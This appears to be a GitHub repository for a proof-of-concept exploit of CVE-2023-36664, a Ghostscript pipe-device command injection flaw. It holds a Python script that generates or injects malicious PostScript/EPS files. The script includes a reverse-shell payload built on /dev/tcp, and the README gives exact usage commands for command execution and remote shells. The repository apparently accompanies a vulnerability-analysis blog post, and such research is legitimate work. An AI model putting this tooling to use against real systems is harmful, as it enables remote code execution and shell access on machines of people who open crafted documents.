├── CVE_2023_36664_exploit.py
├── README.md
├── file.eps
├── file.ps
├── flowchart.png
└── vsociety.jpg
/CVE_2023_36664_exploit.py:
--------------------------------------------------------------------------------
1 | # @jakabakos
2 | # Exploit script for CVE-2023-36664
3 | # Injects code into a PS or EPS file that is triggered when opened with Ghostscript version prior to 10.01.2
4 | # Tested with Ghostscript version 10.01.1
5 |
6 | import argparse
7 | import re
8 | import os
9 |
10 | # Function to generate payload for reverse shell
11 | def generate_rev_shell_payload(ip, port):
12 | payload = f"UNIX_REV_SHELL_PAYLOAD=f\"0<&196;exec 196<>/dev/tcp/{ip}/{port}; sh <&196 >&196 2>&196\""
13 | return payload
14 |
15 | # Function to generate dummy PS or EPS file with payload
16 | def generate_payload_file(filename, extension, payload):
17 | if extension == 'ps':
18 | content = f"""%!PS
19 | /Times-Roman findfont
20 | 24 scalefont
21 | setfont
22 |
23 | 100 200 moveto
24 | (Welcome at vsociety!) show
25 |
26 | 30 100 moveto
27 | 60 230 lineto
28 | 90 100 lineto
29 | stroke
30 | {payload}
31 | showpage"""
32 |
33 | elif extension == 'eps':
34 | content = f"""%!PS-Adobe-3.0 EPSF-3.0
35 | %%BoundingBox: 0 0 300 300
36 | %%Title: Welcome EPS
37 |
38 | /Times-Roman findfont
39 | 24 scalefont
40 | setfont
41 |
42 | newpath
43 | 50 200 moveto
44 | (Welcome at vsociety!) show
45 |
46 | newpath
47 | 30 100 moveto
48 | 60 230 lineto
49 | 90 100 lineto
50 | stroke
51 | {payload}
52 | showpage"""
53 |
54 | filename = filename + '.' + extension
55 | with open(filename, 'w') as file:
56 | file.write(content)
57 |
58 | # Function to inject payload into an existing file
59 | def inject_payload_into_file(filename, payload):
60 | # Check if the file has the .eps or .ps extension
61 | if filename.lower().endswith('.eps'):
62 | # Read the existing content of the EPS file
63 | with open(filename, 'r') as eps_file:
64 | lines = eps_file.readlines()
65 |
66 | # Find the first line not starting with %
67 | for i, line in enumerate(lines):
68 | if not line.strip().startswith('%'):
69 | # Insert the payload at this line
70 | lines.insert(i, payload + '\n')
71 | break
72 |
73 | # Write the modified content back to the file
74 | with open(filename, 'w') as eps_file:
75 | eps_file.writelines(lines)
76 | elif filename.lower().endswith('.ps'):
77 | # Append payload to the end of the PS file
78 | with open(filename, 'a') as ps_file:
79 | ps_file.write('\n' + payload)
80 | else:
81 | print("[-] Only PS and EPS extensions are allowed.")
82 |
83 |
84 | # Main function
85 | def main():
86 | parser = argparse.ArgumentParser(description="Creating malicious PS/EPS files exploiting CVE-2023-36664.")
87 | parser.add_argument("-g", "--generate", action="store_true", help="Generate a new file")
88 | parser.add_argument("-i", "--inject", action="store_true", help="Inject payload into an existing file")
89 | parser.add_argument("-p", "--payload", help="Payload to inject")
90 | parser.add_argument("-r", "--revshell", action="store_true", help="Generate reverse shell payload")
91 | parser.add_argument("-ip", "--ip", help="IP address for reverse shell payload")
92 | parser.add_argument("-port", "--port", help="Port number for reverse shell payload")
93 | parser.add_argument("-x", "--extension", choices=["ps", "eps"], help="Extension for the generated file")
94 | parser.add_argument("-f", "--filename", default="malicious", help="Filename for the generated or injected file")
95 |
96 | args = parser.parse_args()
97 |
98 | # Validate payload options
99 | if args.revshell and args.payload:
100 | print("[-] Both --payload and --revshell cannot be used together.")
101 | return
102 |
103 | if args.revshell:
104 | # Validate IP and port for reverse shell payload
105 | if args.ip and args.port:
106 | ip_pattern = re.compile(r"^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$")
107 | port_pattern = re.compile(r"^\d{1,5}$")
108 |
109 | if not ip_pattern.match(args.ip) or not port_pattern.match(args.port):
110 | print("[-] Invalid IP address or port number.")
111 | return
112 | else:
113 | print("[-] For reverse shell payload, both IP and port are required.")
114 | return
115 | payload = generate_rev_shell_payload(args.ip, args.port)
116 |
117 | elif args.payload:
118 | payload = args.payload
119 |
120 | else:
121 | print("[-] Either --payload or --revshell is required.")
122 | return
123 |
124 | # Modify payload for embedding
125 | payload = f"(%pipe%{payload}) (w) file /DCTDecode filter"
126 |
127 | # Generate or inject payload
128 | if args.generate and args.inject:
129 | print("[-] Both -g/--generate and -i/--inject cannot be used together.")
130 | elif args.generate:
131 | if args.extension and (args.extension == "ps" or args.extension == "eps"):
132 | generate_payload_file(args.filename, args.extension, payload)
133 | print(f"[+] Generated {args.extension.upper()} payload file: {args.filename}.{args.extension}")
134 | else:
135 | print("[-] For generating files, specify valid extension using -x/--extension: 'ps' or 'eps'.")
136 | elif args.inject:
137 | if os.path.exists(args.filename):
138 | inject_payload_into_file(args.filename, payload)
139 | print(f"[+] Payload successfully injected into {args.filename}.")
140 | else:
141 | print(f"[-] File {args.filename} not found.")
142 | else:
143 | print("[-] Specify either -g/--generate or -i/--inject.")
144 |
145 | if __name__ == "__main__":
146 | main()
147 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Ghostscript command injection vulnerability PoC (CVE-2023-36664)
2 |
3 | Vulnerability disclosed in Ghostscript prior to version 10.01.2 leads to code execution (CVSS score 9.8).
4 |
5 | Official vulnerability description:
6 | > Artifex Ghostscript through 10.01.2 mishandles permission validation for pipe devices (with the %pipe% prefix or the | pipe character prefix).
7 |
8 | Debian released a security advisory mentioning possible execution of arbitrary commands:
9 | > "It was discovered that Ghostscript, the GPL PostScript/PDF interpreter, does not properly handle permission validation for pipe devices, which could result in the execution of arbitrary commands if malformed document files are processed."
10 |
11 | The repo is created for a CVE analysis blog post available on vsociety blog.
12 |
13 | ## Exploitation
14 | Download Ghostscript 10.01.1 here: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/tag/gs10011
15 | Direct link to Windows x64 executable: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10011/gs10011w64.exe
16 |
17 | The exploitation can occur upon opening a PS or EPS file and can allow code execution caused by Ghostscript mishandling permission validation for pipe devices.
18 |
19 | Usage: `python3 CVE_2023_36664_exploit.py `
20 |
21 | Example:
22 | ```bash
23 | python3 CVE_2023_36664_exploit.py file.eps "calc"
24 | ```
25 | This generates a new file called `file_injected.eps`.
26 |
27 | Open this with Ghostscript to trigger the calculator (since version 9.50 you also have to use `-dNOSAFER` option):
28 | ```bash
29 | gs10011w64.exe -dNOSAFER .\file_injected.eps
30 | ```
31 |
32 |
33 | Other examples:
34 | Generate a new EPS file called run_calculator.eps with payload "calc" (pops up a new calculator on Windows)
35 | ```bash
36 | python3 CVE_2023_36664_exploit.py --generate --payload calc --filename run_calculator --extension eps
37 | ```
38 | Generate a new EPS file called rev_shell.eps with a custom IP (start a reverse shell when triggered on Unix)
39 | ```bash
40 | python3 CVE_2023_36664_exploit.py --generate --revshell -ip 10.10.10.10 -port 4242 --filename trigger_revshell --extension eps
41 | ```
42 | Generate a new PS file malicius.ps with payload "calc" (pops up a new calculator on Windows)
43 | ```bash
44 | python3 CVE_2023_36664_exploit.py -g -p "calc" -x ps
45 | ```
46 | Inject malicious custom payload ("calc") to an existing file called file.eps (pops up a new calculator on Windows)
47 | ```bash
48 | python3 CVE_2023_36664_exploit.py --inject --payload "calc" --filename file.eps
49 | ```
50 |
51 | ## Disclaimer
52 | This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.
53 |
--------------------------------------------------------------------------------
/file.eps:
--------------------------------------------------------------------------------
1 | %!PS-Adobe-3.0 EPSF-3.0
2 | %%BoundingBox: 0 0 300 200
3 | %%Title: Example EPS file for CVE-2023-36664
4 | %%Creator: jakab.akos
5 |
6 | % Translate the coordinate system
7 | 10 830 translate
8 |
9 | % Scale the coordinate system by a factor of 175 in both X and Y directions
10 | 175 175 scale
11 |
12 | % Define the dimensions and transformation matrix for the image
13 | 705
14 | 218
15 | 8
16 | [705 0 0 -218 0 0]
17 |
18 | % Embed the JPEG image "vsociety.jpg" and apply the DCTDecode filter
19 | (vsociety.jpg) (r) file /DCTDecode filter
20 |
21 | % Specify that the image will be displayed using the RGB color space
22 | false
23 |
24 | % Specify the number of color components for the image (3 for RGB)
25 | 3
26 |
27 | % Display the image using the specified settings
28 | colorimage
29 |
30 | % Display the page
31 | showpage
--------------------------------------------------------------------------------
/file.ps:
--------------------------------------------------------------------------------
1 | %!PS-Adobe-3.0 EPSF-3.0
2 | %%BoundingBox: 0 0 300 200
3 | %%Title: EPS with Referenced JPG
4 | %%Creator: jakab.akos
5 |
6 | % Translate the coordinate system
7 | 10 830 translate
8 |
9 | % Scale the coordinate system by a factor of 175 in both X and Y directions
10 | 175 175 scale
11 |
12 | % Define the dimensions and transformation matrix for the image
13 | 705
14 | 218
15 | 8
16 | [705 0 0 -218 0 0]
17 |
18 | % Embed the JPEG image "vsociety.jpg" and apply the DCTDecode filter
19 | (vs.jpg) (r) file /DCTDecode filter
20 |
21 | % Specify that the image will be displayed using the RGB color space
22 | false
23 |
24 | % Specify the number of color components for the image (3 for RGB)
25 | 3
26 |
27 | % Display the image using the specified settings
28 | colorimage
29 |
30 |
31 |
32 | % Display the page
33 | showpage
34 |
35 |
--------------------------------------------------------------------------------
/flowchart.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/1358b92f822a9c239d4876f3a37a7894dd37a411/flowchart.png
--------------------------------------------------------------------------------
/vsociety.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/1358b92f822a9c239d4876f3a37a7894dd37a411/vsociety.jpg
--------------------------------------------------------------------------------